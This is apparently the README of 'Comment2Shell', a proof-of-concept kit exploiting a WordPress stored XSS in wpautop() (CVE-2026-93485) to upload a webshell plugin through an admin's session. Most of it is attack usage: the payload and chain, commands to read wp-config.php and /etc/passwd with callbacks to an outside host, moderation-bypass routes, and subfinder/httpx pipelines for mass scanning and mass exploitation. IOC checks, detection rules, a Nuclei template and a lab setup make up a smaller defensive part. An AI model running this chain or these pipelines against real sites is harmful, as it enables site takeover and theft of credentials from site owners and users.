Chaîne d'exploitation WordPress CVE-2026-93485 pré-authentification sans clic : XSS stocké dans wpautop() menant à l'upload d'un plugin via une session admin et à un webshell auto-supprimant, avec scanner, shell et template Nuclei.
Comment2Shell est une preuve de concept de bout en bout pour CVE-2026-93485, une
XSS stockée pré-authentification dans le cœur de WordPress wpautop() qui
s'élève à une exécution de code à distance au sein d'une session administrateur. Un
commentaire anonyme dépose la charge utile ; lorsqu'un admin ouvre l'article, le
navigateur téléverse un plugin webshell, exécute une commande, puis supprime le shell
à nouveau. Toute la chaîne tient dans un seul fichier Python sans dépendance.
Comment2Shell est un kit d'exploit et de laboratoire local pour CVE-2026-93485. La faille
réside dans wp-includes/formatting.php, dans le filtre de paragraphe wpautop()
qui s'exécute au moment de l'affichage sur le texte des commentaires. Un saut de ligne à l'intérieur d'un
attribut devient un espace réservé de commentaire HTML ; l'
expression régulière qui entoure les blockquotes s'arrête au premier et injecte une
balise de paragraphe au milieu de l'attribut, que le navigateur interprète ensuite
comme un gestionnaire . L'attribut le déclenche
sans clic.
blockquote cite>onfocusautofocusL'outil couvre toute la chaîne : un scan de version passif, une sonde XSS bénigne, l'exploit complet de la pré-authentification à l'exécution de code à distance, un shell interactif, et une vérification défensive des IOC.
L'exploit ne nécessite aucun compte, aucun nonce, et aucune interaction au-delà du fait que l'admin consulte l'article. Les commentaires doivent seulement être ouverts.
WordPress fait tourner une grande part du web et wpautop() est du code cœur, donc
le filtre vulnérable est livré sur chaque installation affectée quel que soit le thème
ou le plugin. La XSS est stockée, pré-authentification, et sans clic. Parce
qu'elle s'exécute dans la session admin, ce n'est pas qu'un bug de défiguration : le
cookie admin suffit pour installer un plugin, et installer un plugin c'est de l'exécution de code
arbitraire.
Le correctif a été livré dans WordPress 7.1.1 avec des rétroportages sur 25 branches, jusqu'à 4.7.36. Chaque version de 4.7.0 à 7.1.0 est affectée.
Exécution en laboratoire contrôlé contre WordPress 7.1.0 : un commentaire anonyme dépose
la charge utile, l'admin qui ouvre l'article déclenche la chaîne sans clic, le
webshell se téléverse, la sortie de commande revient, et le shell se supprime
lui-même. Le titre de l'onglet du navigateur rapporte le résultat, soit
Comment2Shell: shell uploaded soit Comment2Shell: admin login required.
Voir docker/README.md pour la procédure exacte.
Comment2Shell ne revendique pas la découverte de la faille. Elle a été signalée par Rafie Muhammad (Awesome Motive) via le programme HackerOne WordPress et corrigée dans 7.1.1. La contribution ici est une implémentation reproductible et sans dépendance de la chaîne complète :
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Aucune dépendance. Python 3.8+ bibliothèque standard uniquement, pas de pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -d targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example
La charge utile de l'exploit déclenche
alert("Comment2Shell XSS - CVE-2026-93485")au chargement de la page (sans clic viaautofocus). Consultez l'article en étant connecté en tant qu'admin. Le titre de l'onglet indique alorsComment2Shell: shell uploadeden cas de succès, ouComment2Shell: admin login requiredsi le navigateur n'a pas de session admin.
# Run a command, then delete the shell
python3 comment2shell.py -t https://target.com -c "id"
# Read wp-config.php
python3 comment2shell.py -t https://target.com -c "cat wp-config.php"
# Wait longer for the admin to view the post (default 45s)
python3 comment2shell.py -t https://target.com -c "id" --wait 60
# Keep the webshell after execution
python3 comment2shell.py -t https://target.com -c "id" --no-cleanup
# With an OAST callback
python3 comment2shell.py -t https://target.com \
-c "cat /etc/passwd" \
--callback https://your-id.oast.example
# Known-commenter approval bypass
python3 comment2shell.py -t https://target.com \
-c "whoami" --known-commenter
# Through a proxy
python3 comment2shell.py -t https://target.com \
-c "id" --proxy http://127.0.0.1:8080
L'outil soumet le commentaire XSS, interroge le chemin du webshell généré toutes les
3s (jusqu'à --wait secondes), exécute la commande une fois que le navigateur de l'admin
déclenche le téléversement, puis auto-supprime le shell (?d=1 supprime le fichier PHP
et retire le répertoire du plugin) afin qu'aucune persistance ne soit laissée derrière.
Passez --no-cleanup pour le conserver, ou --wait 0 pour ne soumettre que la charge utile.
# With a known shell path
python3 comment2shell.py --shell -t https://target.com \
--shell-path ab12cd/ab12cd.php
# Run a single command on an existing shell
python3 comment2shell.py --exec -t https://target.com \
--shell-path ab12cd/ab12cd.php -c "cat wp-config.php"
python3 comment2shell.py --ioc -t https://target.com
Les nouveaux commentaires de commentateurs de première fois sont généralement retenus pour modération. L'outil dispose de trois voies pour contourner cela :
| Route | Méthode | Flag |
|---|---|---|
| Commentateur connu | Réutilise le <[email protected]> par défaut "A WordPress Commenter", que check_comment() approuve automatiquement | --known-commenter |
| Modération désactivée | Si comment_previously_approved=0, toute identité est auto-approuvée | par défaut |
| Aperçu auteur | Un commentateur antérieur voit les commentaires en attente via le cookie ?unapproved=<id>&moderation-hash=<hash> | automatique |
Selon Patchstack : "la modération n'est pas un contrôle de sécurité."
Lancez un WordPress 7.1.0 vulnérable pour des tests locaux :
cd docker
docker compose up -d
bash setup.sh
# Target: http://localhost:80 (host networking)
# Admin: admin / Password123!
# Then: python3 comment2shell.py -t http://localhost -c "id"
Chaque exécution soumet un nouveau commentaire de charge utile. Seule la première charge utile autofocus
sur la page s'exécute, donc l'outil détecte la charge utile active et interroge son chemin ;
exécutez bash clean.sh pour effacer les anciens commentaires entre les exécutions.
# Suspicious comment submissions (newline in blockquote cite)
grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null
# wp_comments table
mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) \
FROM wp_comments WHERE comment_content LIKE '%blockquote%cite%\
onfocus%' ORDER BY comment_date DESC;"
# Recently uploaded single-file plugins
find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" \
-newer /var/www/html/wp-config.php -not -path "*/akismet/*" \
-not -path "*/hello*"
# Unusual POST to wp-comments-post.php with blockquote + onfocus
http.request.uri == "/wp-comments-post.php" AND
http.request.body contains "blockquote" AND
http.request.body contains "onfocus" AND
http.request.body contains "autofocus"
# Single-file plugin uploads from non-admin IPs
http.request.uri == "/wp-admin/update.php" AND
http.request.body contains "pluginzip"
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com
# Vulnerable (before 7.1.1):
grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php
# Should show: |<p><blockquote([^>]*)>|
# Patched (7.1.1+):
grep -n 'blockquote((?:\[^>"'\'')' wp-includes/formatting.php
# Should show: !<p><blockquote((?:[^>"']|"[^"]*"|'[^']*')*)>
# Find WordPress targets -> scan for CVE-2026-93485
subfinder -d program-scope.com -silent | \
httpx -silent -title | \
grep -i "wordpress" | \
python3 comment2shell.py --scan --stdin --threads 20
# Mass exploit with OAST (authorized testing only)
cat vulnerable_targets.txt | \
python3 comment2shell.py -t - -c "id" \
--callback https://your-id.oast.example
# Save results as JSON
python3 comment2shell.py --scan -f all_targets.txt \
--threads 30 -o scan_results.json --json
wp-includes/formatting.php:563 (vulnérable, avant 7.1.1) :
// VULNERABLE: [^>]* stops at > inside HTML comment placeholder
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );
// PATCHED (7.1.1): quote-aware subpattern
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );
La charge utile est du HTML bénin au moment de l'enregistrement. blockquote[cite] et code sont
dans la liste d'autorisation des commentaires (wp-includes/kses.php:605-633). Le saut de ligne n'est
pas dans la table des caractères syntaxiques de wp_kses_hair(). L'exploit se produit au moment de l'affichage,
lorsque les filtres comment_text transforment le HTML stocké.
add_filter( 'comment_text', 'wptexturize' ); // seals the attribute
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 ); // THE BUG
Le correctif a été livré dans 7.1.1 sur 25 branches. Chaque version de 4.7.0 à 7.1.0 est affectée.
| Branche | Vulnérable <= | Corrigée |
|---|---|---|
| 7.1 | 7.1.0 | 7.1.1 |
| 7.0 | 7.0.4 | 7.0.5 |
| 6.9 | 6.9.7 | 6.9.8 |
| 6.8 | 6.8.8 | 6.8.9 |
| 6.7 | 6.7.7 | 6.7.8 |
| 6.6 | 6.6.7 | 6.6.8 |
| 6.5 | 6.5.10 | 6.5.11 |
| 6.4 | 6.4.10 | 6.4.11 |
| 6.3 | 6.3.10 | 6.3.11 |
| 6.2 | 6.2.11 | 6.2.12 |
| 6.1 | 6.1.12 | 6.1.13 |
| 6.0 | 6.0.14 | 6.0.15 |
| 5.9 | 5.9.16 | 5.9.17 |
| 5.8 | 5.8.15 | 5.8.16 |
| 5.7 | 5.7.17 | 5.7.18 |
| 5.6 | 5.6.19 | 5.6.20 |
| 5.5 | 5.5.20 | 5.5.21 |
| 5.4 | 5.4.21 | 5.4.22 |
| 5.3 | 5.3.23 | 5.3.24 |
| 5.2 | 5.2.26 | 5.2.27 |
| 5.1 | 5.1.24 | 5.1.25 |
| 5.0 | 5.0.27 | 5.0.28 |
| 4.9 | 4.9.31 | 4.9.32 |
| 4.8 | 4.8.30 | 4.8.31 |
| 4.7 | 4.7.35 | 4.7.36 |
Comment2Shell/
|-- comment2shell.py scan, probe, exploit, shell, IOC check
|-- README.md
|-- PLAN.md weekly maintenance plan
|-- BROWSER_VALIDATION.md manual browser validation steps
|-- docker/ vulnerable WordPress 7.1.0 lab
| |-- docker-compose.yml
| |-- setup.sh
| |-- clean.sh
| +-- README.md
|-- nuclei/ detection template
|-- ioc/ server-side IOC checker
|-- requests/ raw HTTP exploit templates
|-- assets/ banner, logo, demo, animated SVGs
|-- browser_validate.html
|-- xss_validate.html
|-- validate.sh
+-- LICENSE
wptexturize scellant
l'attribut) ; les thèmes classiques peuvent ne pas le déclencher.docker/clean.sh.
Ce projet existe pour les tests de sécurité autorisés et l'éducation. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une permission écrite explicite de tester. L'accès non autorisé aux systèmes informatiques est illégal dans la plupart des juridictions. Les auteurs ne sont pas responsables d'une mauvaise utilisation ou de dommages. Voir LICENSE.
0xDeathShotX_X - github.com/DeathShotXD | @SyedWaj25802383